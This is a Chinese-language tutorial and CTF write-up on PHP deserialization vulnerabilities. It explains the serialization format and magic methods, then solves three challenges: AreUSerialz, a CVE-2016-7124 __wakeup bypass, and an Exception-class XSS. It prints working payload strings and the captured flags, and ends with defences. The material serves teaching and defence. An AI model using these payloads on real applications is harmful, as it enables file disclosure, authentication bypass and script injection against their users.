在 Web 安全领域,PHP 反序列化漏洞一直是 CTF 比赛中的高频考点,同时也是真实业务中常见的安全风险。从最基础的无类序列化绕过,到利用魔术方法构造 POP 链,再到经典 CVE 漏洞的利用,序列化漏洞的玩法层出不穷。本文将从基础原理出发,带你一步步吃透 PHP 序列化漏洞,同时拆解 3 道经典 CTF 真题,帮你彻底掌握这一漏洞的利用与防御,同时完成配套课程的作业要求。
一、基础:PHP 序列化与反序列化核心原理
所谓序列化,就是将 PHP 的任意变量(字符串、数组、对象等)转换为可存储、可传输的字符串,方便在不同环境、不同请求之间传递数据;而反序列化则是将这个字符串还原为原本的 PHP 变量。
PHP 提供了两个核心函数来完成这一操作:
-
serialize():将变量序列化为字符串 -
unserialize():将序列化字符串还原为变量
graph LR
A[PHP变量] -->|serialize()| B[序列化字符串]
B -->|存储/传输| C[序列化字符串]
C -->|unserialize()| D[还原PHP变量]
序列化字符串的格式解析
序列化后的字符串有固定的格式,我们可以很容易地从中解析出变量的类型和值:
-
普通字符串:
s:5:"derry";-
s:代表变量类型为字符串(string) -
5:代表字符串的长度 -
"derry":字符串的实际内容
-
-
对象类型:
O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}-
O:代表这是一个对象(Object) -
6:代表类名的长度 -
"Person":对象所属的类名 -
2:代表这个对象拥有的属性个数 -
后续部分则是每个属性的类型、名称和值,和普通变量的格式一致
-
二、入门:无类序列化,最基础的绕过技巧
无类序列化是序列化漏洞最基础的形态,不需要涉及类和对象,仅通过简单的字符串序列化就可以完成验证绕过,我们通过两个经典案例来理解。
案例 1:最直观的匹配绕过
第一个案例是最简单的入门题,代码如下:
error_reporting(0);
include "flag.php";
$KEY = "derry";
$str = $_GET['x'];
if(unserialize($str)===$KEY)
{
echo "$flag" ."</br>";
}
show_source(__FILE__);
?>
这个逻辑非常直观:我们传入的参数x会被反序列化,然后和$KEY做严格比较,相等就输出 flag。
我们只需要把derry这个字符串序列化,得到结果:
s:5:"derry";
把这个字符串作为x参数传入,反序列化之后就会和$KEY完全相等,直接拿到 flag。
案例 2:变量执行顺序的巧妙绕过
第二个案例是一道经典的 CTF 小题,代码如下:
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else
{
// 输出登录页面
}
$KEY = 'ISecer:www.isecer.com';
?>
很多新手看到这个题,第一反应是把ISecer:www.isecer.com序列化,然后传入 Cookie,但是这样根本拿不到 flag,问题出在哪里?
PHP 的代码是按顺序逐行执行的!
注意看,$KEY = 'ISecer:www.isecer.com';这行赋值代码,是在整个 if 判断的后面 !也就是说,当 PHP 执行到elseif (unserialize($cookie) === "$KEY")这一行的时候,$KEY这个变量还根本没有被定义!
这时候,双引号里的"$KEY"会被解析成什么?双引号会自动解析内部的变量,但是如果变量不存在,PHP 会直接把它解析成空字符串,同时因为我们关掉了错误报告,所以不会有任何提示。
所以这个判断的本质,其实是:
unserialize($cookie) === ""
那我们只需要传入序列化后的空字符串:
s:0:"";
反序列化之后就是空字符串,完美匹配判断条件,直接拿到 flag!
三、进阶:类序列化与魔术方法,漏洞的核心根源
当序列化的内容是对象的时候,就进入了更复杂的类序列化场景,这也是反序列化漏洞的核心应用场景。
当我们反序列化一个对象的时候,PHP 会自动触发一系列的「魔术方法」,这些方法本来是用来做对象的初始化、资源清理等工作的,但是如果我们可以控制对象的属性,就可以利用这些魔术方法来执行我们想要的操作 ------ 比如读取敏感文件、写入后门、绕过身份验证等等。
常见魔术方法与触发时机
PHP 中常见的魔术方法和它们的触发时机如下:
| 魔术方法 | 触发时机 |
|---|---|
__construct |
创建对象(new 类)时自动调用 |
__destruct |
对象被销毁(比如脚本结束)时自动调用 |
__sleep |
序列化对象之前自动调用,用来指定要序列化的属性 |
__wakeup |
反序列化对象之后自动调用,用来做初始化工作 |
__get |
访问不存在 / 权限不足的属性时自动调用 |
__set |
给不存在 / 权限不足的属性赋值时自动调用 |
__call |
调用不存在的方法时自动调用 |
__callStatic |
调用不存在的静态方法时自动调用 |
__toString |
把对象当做字符串使用(比如 echo)时自动调用 |
__clone |
克隆对象时自动调用 |
__invoke |
把对象当做函数调用时自动调用 |
__isset |
对不存在 / 权限不足的属性调用 isset () 时自动调用 |
__unset |
对不存在 / 权限不足的属性调用 unset () 时自动调用 |
这些魔术方法就是反序列化漏洞的核心,我们构造的恶意对象,正是靠触发这些方法来完成利用的。
四、实战:3 道经典 CTF 真题拆解
接下来我们拆解 3 道经典的 CTF 真题,从易到难,彻底掌握序列化漏洞的实战利用,同时完成课程的作业要求。
真题 1:2020 网鼎杯青龙组 AreUSerialz
这是课程作业要求我们完成的题目,我们来一步步拆解。
题目代码分析
题目给出的核心代码如下,首先是FileHandler类:
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
然后是入口的验证逻辑:
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
解题思路
我们的目标很明确:让FileHandler对象的op=2,filename=NewFlag.php,这样当对象销毁的时候,__destruct会调用process,进而调用read方法,读取NewFlag.php拿到 flag。
但是这里有个坑:is_valid函数会过滤所有不可见字符,也就是 ASCII 小于 32 或者大于 125 的字符都会被拒绝。
如果我们直接用类里的protected属性来构造序列化字符串,会发生什么? protected属性的序列化结果中,属性名会变成\0*\0op,也就是包含两个空字节(\0,ASCII 为 0),这个字符是不可见的,直接就被is_valid过滤掉了,根本过不了检查!
这时候我们可以利用 PHP7.1 + 的特性:对属性的访问类型不敏感 !也就是说,我们可以把这些属性改成public的,这样序列化之后的属性名就没有空字节了,全部都是可见字符,完美通过is_valid的检查!
构造 Payload
我们构造如下的 PHP 代码来生成 Payload:
class FileHandler {
public $op=" 2";
public $filename="NewFlag.php";
public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
生成的序列化字符串如下:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}
把这个字符串作为str参数传入,就可以成功触发漏洞,拿到 flag!
最终结果
在 BUUOj 的靶场环境中,我们最终拿到的 flag 为:
flag{a851c5cd-be0a-4522-ba5a-38a206180262}
完美完成课程作业!
真题 2:极客大挑战 2019 PHP
这道题考察了经典的 CVE 漏洞利用,我们来看看。
题目分析
首先我们访问网站,通过备份字典扫描,拿到了网站的源码备份www.zip,解压后得到了核心的class.php代码:
class Name{
private $username = "admin";
private $password = 100;
function __wakeup(){
$this->username = "guest";
}
function __destruct(){
if($this->username === "admin" && $this->password === 100){
include "flag.php";
echo $flag;
}
}
}
逻辑很清楚:__destruct会检查,如果username是admin,password是100,就输出 flag。但是反序列化的时候,会先调用__wakeup,这个方法会把username强制改成guest!也就是说,不管我们构造的username是什么,反序列化之后都会被改成guest,永远过不了检查?
这时候,我们就可以用到经典的 CVE 漏洞:CVE-2016-7124。
CVE-2016-7124 漏洞原理
这个漏洞的影响版本为:
-
PHP5.x < 5.6.25
-
PHP7.x < 7.0.10
漏洞原理非常简单:当序列化字符串中,表示对象属性个数的值,大于对象实际的属性个数 的时候,PHP 就会跳过__wakeup方法的执行!
这正好解决了我们的问题!我们只需要把序列化字符串里的属性个数从 2 改成 3,就可以绕过__wakeup,让它不会修改我们的username!
构造 Payload
我们构造 Payload,同时因为username和password是private属性,序列化后的属性名是\0Name\0username,需要 urlencode 处理:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
把这个作为select参数传入,反序列化的时候,因为属性个数是 3,大于实际的 2,所以跳过了__wakeup,我们的username和password都保留了下来,__destruct触发后,检查通过,输出 flag!
最终结果
最终我们拿到的 flag 为:
flag{b18bb0c2-8084-4e65-a402-f1803a87f80d}
真题 3:反序列化结合 XSS
最后这道题,考察了原生类的利用,题目代码非常简单:
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
我们传入的参数反序列化之后,直接被 echo 输出。如果我们传一个对象的话,echo 对象的时候,就会触发__toString方法。
但是题目里没有给我们自定义的类,怎么办?我们可以用 PHP 的原生类 !PHP 自带的很多原生类都自带魔术方法,比如Exception类,它的__toString方法会把它的message属性直接输出!
那我们就可以构造一个Exception对象,把message设置成我们的 XSS payload:
$e = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($e));
把生成的字符串作为k参数传入,反序列化之后,echo 这个对象的时候,就会触发__toString,把我们的 XSS payload 输出出来,完美完成 XSS 攻击!
五、总结与防御
序列化漏洞的本质
PHP 反序列化漏洞的核心,就是unserialize函数接收了用户可控的输入,导致攻击者可以构造恶意的对象,通过触发魔术方法,来执行任意的恶意操作,比如读取敏感文件、写入后门、绕过验证、执行 XSS 等等。
防御方法
针对序列化漏洞,我们可以通过以下方式来防御:
-
尽量避免反序列化用户可控的输入,如果需要传输结构化数据,优先使用 JSON 来代替 PHP 的序列化。
-
如果必须使用序列化,对反序列化的类做白名单,只允许反序列化指定的安全类。
-
及时更新 PHP 版本,修复类似 CVE-2016-7124 这样的历史漏洞。
-
对用户输入做严格的过滤,避免恶意字符传入。
通过本文的学习,相信你已经彻底掌握了 PHP 序列化漏洞的原理与实战技巧,从基础的无类绕过,到魔术方法利用,再到经典 CVE 漏洞的利用,都有了完整的理解。